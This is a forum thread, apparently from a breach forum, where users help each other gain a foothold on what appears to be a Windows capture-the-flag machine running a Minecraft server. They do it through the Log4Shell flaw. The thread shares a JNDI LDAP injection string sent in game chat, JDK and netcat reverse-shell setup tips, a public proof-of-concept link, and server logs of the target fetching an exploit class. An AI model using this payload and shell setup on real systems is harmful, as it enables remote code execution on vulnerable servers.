[L453R]

Can someone share working payload for malicious class (revshell)? 15 attempts and 0 result.

May be you need the good version of java, i used this one: https://repo.huaweicloud.com/java/jdk/8u...x64.tar.gz.
Classic payload from reverseshells.com base64 encoded

is not neccesary ${jndi:ldap://ip:port/a} ??

Yes it is, in the game, but the created a class must be compiled with appropriate version of java

[pwnbox]

can anyone share the poc please? i tried with many but isn't work

This one worked https://github.com/kozmer/log4j-shell-po...ain/poc.py

[fucksurveillance]

can anyone share the poc please? i tried with many but isn't work

This one worked https://github.com/kozmer/log4j-shell-po...ain/poc.py

I tried this one, but I can't get it. Did you change the jdk version?
I'm on jdk1.8.0_20/bin/java.

[+] Starting Webserver on port 8000 http://0.0.0.0:8000
Listening on 0.0.0.0:1389
Send LDAP reference result for a redirecting to http://10.10.x:8000/Exploit.class
10.10.11.249 - - [10/Feb/2024] "GET /Exploit.class HTTP/1.1" 200 -
Send LDAP reference result for a redirecting to http://10.10.x:8000/Exploit.class
10.10.11.249 - - [10/Feb/2024] "GET /Exploit.class HTTP/1.1" 200 -
Send LDAP reference result for a redirecting to http://10.10.x:8000/Exploit.class

Where 10.10.x is my local ip (redacted)

[pwnbox]

can anyone share the poc please? i tried with many but isn't work

This one worked https://github.com/kozmer/log4j-shell-po...ain/poc.py

I tried this one, but I can't get it. Did you change the jdk version?
I'm on jdk1.8.0_20/bin/java.

[+] Starting Webserver on port 8000 http://0.0.0.0:8000
Listening on 0.0.0.0:1389
Send LDAP reference result for a redirecting to http://10.10.x:8000/Exploit.class
10.10.11.249 - - [10/Feb/2024] "GET /Exploit.class HTTP/1.1" 200 -
Send LDAP reference result for a redirecting to http://10.10.x:8000/Exploit.class
10.10.11.249 - - [10/Feb/2024] "GET /Exploit.class HTTP/1.1" 200 -
Send LDAP reference result for a redirecting to http://10.10.x:8000/Exploit.class

Where 10.10.x is my local ip (redacted)

you just have to copy your jdk folder to the repo directory, rename it to jdk1.8.0_20 and use netcat to be listening in a port. Then send the message ${jndi:ldap://10.10.x.x:1389/a} in minecraft chat

[tiresomeenergy]

so there are many skids in this thread that can't even Run minecraft. it's pretty funny. won't spoonfeed but will help i guess.

1. use a console UI for minecraft. (use google)
2. use kozmer poc
3. get jdk 8u20 to use with kozmer poc
4. it will fail unless you update the poc.py. if you're too dumb to realize why after looking at the code, it's time to logoff of life.
5. it will work if u follow above steps

root is hard though, exhausted all tricks i know. going to reenum again

[pwnbox]

any hint for root flag?

---

so there are many skids in this thread that can't even Run minecraft. it's pretty funny. won't spoonfeed but will help i guess.

1. use a console UI for minecraft. (use google)
2. use kozmer poc
3. get jdk 8u20 to use with kozmer poc
4. it will fail unless you update the poc.py. if you're too dumb to realize why after looking at the code, it's time to logoff of life.
5. it will work if u follow above steps

root is hard though, exhausted all tricks i know. going to reenum again

im stucket at root too, i really hate windows machines

[tiresomeenergy]

can anyone share the poc please? i tried with many but isn't work

This one worked https://github.com/kozmer/log4j-shell-po...ain/poc.py

I tried this one, but I can't get it. Did you change the jdk version?
I'm on jdk1.8.0_20/bin/java.

[+] Starting Webserver on port 8000 http://0.0.0.0:8000
Listening on 0.0.0.0:1389
Send LDAP reference result for a redirecting to http://10.10.x:8000/Exploit.class
10.10.11.249 - - [10/Feb/2024] "GET /Exploit.class HTTP/1.1" 200 -
Send LDAP reference result for a redirecting to http://10.10.x:8000/Exploit.class
10.10.11.249 - - [10/Feb/2024] "GET /Exploit.class HTTP/1.1" 200 -
Send LDAP reference result for a redirecting to http://10.10.x:8000/Exploit.class

Where 10.10.x is my local ip (redacted)

read the fcking script you are executing, this is a windows machine

sssshhhhhh don't speenfood le skiddos

[chillywilly]

for root look where youre dropped into when you get the foothold

[chillywilly]

https://breachforums.bf/Thread-Crafty-AutoPwner-script

[sp00k]

If you're having issues getting foothold.. David Bombal did a video on this.. link to John Hammond's video in the description of that video.. EZPZ.